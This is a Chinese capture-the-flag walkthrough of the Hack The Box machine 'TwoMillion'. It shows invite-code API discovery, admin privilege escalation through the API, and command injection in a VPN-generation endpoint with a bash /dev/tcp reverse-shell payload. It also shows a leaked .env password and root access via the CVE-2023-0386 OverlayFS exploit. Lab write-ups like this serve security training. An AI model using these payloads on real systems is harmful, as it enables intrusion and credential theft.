HTB-TwoMillion
一、思路概要
1.主站邀请码注册功能页面js文件发现可用API;
2.通过API获得邀请码注册用户并登录;
3.发现admin认证的API泄露;
4.通过API实现越权,并且发现命令执行漏洞;
5.命令执行反弹shell获取www-data权限;
6.邮件信息泄露,用CVE-2023-0386(OverlayFS提权)获取root权限。
二、信息收集
nmap扫描

端口很简单,但得到一个域名,域名写入本地hosts文件
echo "10.10.11.221 2million.htb" >> /etc/hosts
浏览器访问

下滑,有个如下join的界面

点击Join HTB
,进入如下界面,需要输入邀请码

查看页面源码,发现验证码正确后会跳转到/register

直接访问/register
,访问成功,但是没有邀请码还是无法注册

刚刚邀请码页面的源码有个/js/inviteapi.min.js
文件,用https://beautifier.io/格式化得到如下代码

有两个API,curl访问2million.htb/api/v1/invite/how/to/generate

有一段data是ROT13编码,转换如下
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr
ROT13转换后:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
又得到一个API,看API名字像是生成邀请码,curl访问2million.htb/api/v1/invite/generate

有一段像base64的编码,解码如下,得到邀请码
┌──(root💀kali)-[~/Desktop]
└─# echo "MVRJVE0tUkxGVFktVzFDT1AtQ0RCOVQ=" | base64 -d
1TITM-RLFTY-W1COP-CDB9T
返回输入邀请码的界面/invite
,输入邀请码后注册用户

注册成功后会跳转到登录页面,登录进入如下界面

在左侧Labs
→Access
界面,如下

审查元素,看到有API

浏览器访问/api
目录,看有没有API泄露,看到/api/v1

再访问/api/v1
,泄露了API

三、API越权
user的就不管了,直接尝试访问admin的API,GET访问/api/v1/admin/auth
,返回false
GET /api/v1/admin/auth

POST访问/api/v1/admin/vpn/generate
,返回401未认证响应码
POST /api/v1/admin/vpn/generate

PUT访问/api/v1/admin/settings/update
,返回Invalid content type
PUT /api/v1/admin/settings/update

那就修改请求包Content-Type
字段值为json格式再次访问,提示没有email
参数

在请求包数据部分用json格式设置email参数再次访问,提示没有is_admin
参数

再设置is_admin
参数,又提示is_admin
参数需要是0或1

设置is_admin
参数值为1,注意不能用引号,又提示email没找到

设置email为刚注册的eamil,返回用户数据,应该是认证成功了

再GET访问/api/v1/admin/auth
,message变为true

再POST访问/api/v1/admin/vpn/generate
,依旧是按照响应包提示,修改请求包的Content-Type
字段和数据部分,得到如下响应,生成了vpn连接的凭据,然后发现这个位置有个命令执行,username字段值应该是直接被拼接到linux的shell命令中了,类似于generate_vpn.sh [username]

四、命令执行
修改请求中的username字段值如下,注意命令和注释符#
之间需要有个空格,执行命令成功

于是用如下请求数据反弹shell
{"username":"wa0er;bash -c 'bash -i >& /dev/tcp/10.10.14.7/9898 0>&1' #"}
本地监听,成功反弹

在当前目录的环境变量文件.env
找到admin用户密码

DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
尝试发现,既可shell登录,也可ssh登录
shell登录

ssh登录
ssh admin@10.10.11.221

ssh登录发现有个提示You have mail
,用find / -name 'mail' 2>/dev/null
查找名字为mail
的文件或目录,然后在/var/mail/admin
文件中找到一封邮件

提示有Linux内核的CVE,关键词OverlayFS / FUSE
五、CVE-2023-0386(OverlayFS提权)
google搜索关键字:OverlayFS / FUSE exploit
漏洞分析:https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/
exploit:https://github.com/xkaneiki/CVE-2023-0386/
本地下载exploit,然后用wget传到目标靶机
本地开启http服务
python3 -m http.server 80
目标靶机下载、解压、编译、执行
cd /tmp
wget http://10.10.14.7/CVE-2023-0386-main.zip
unzip CVE-2023-0386-main.zip
cd CVE-2023-0386-main
make all #编译有报错,不影响
./fuse ./ovlcap/lower ./gc

另开一个终端连接ssh,到/tmp/CVE-2023-0386-main
目录下执行./exp
,成功获取root权限

Over!
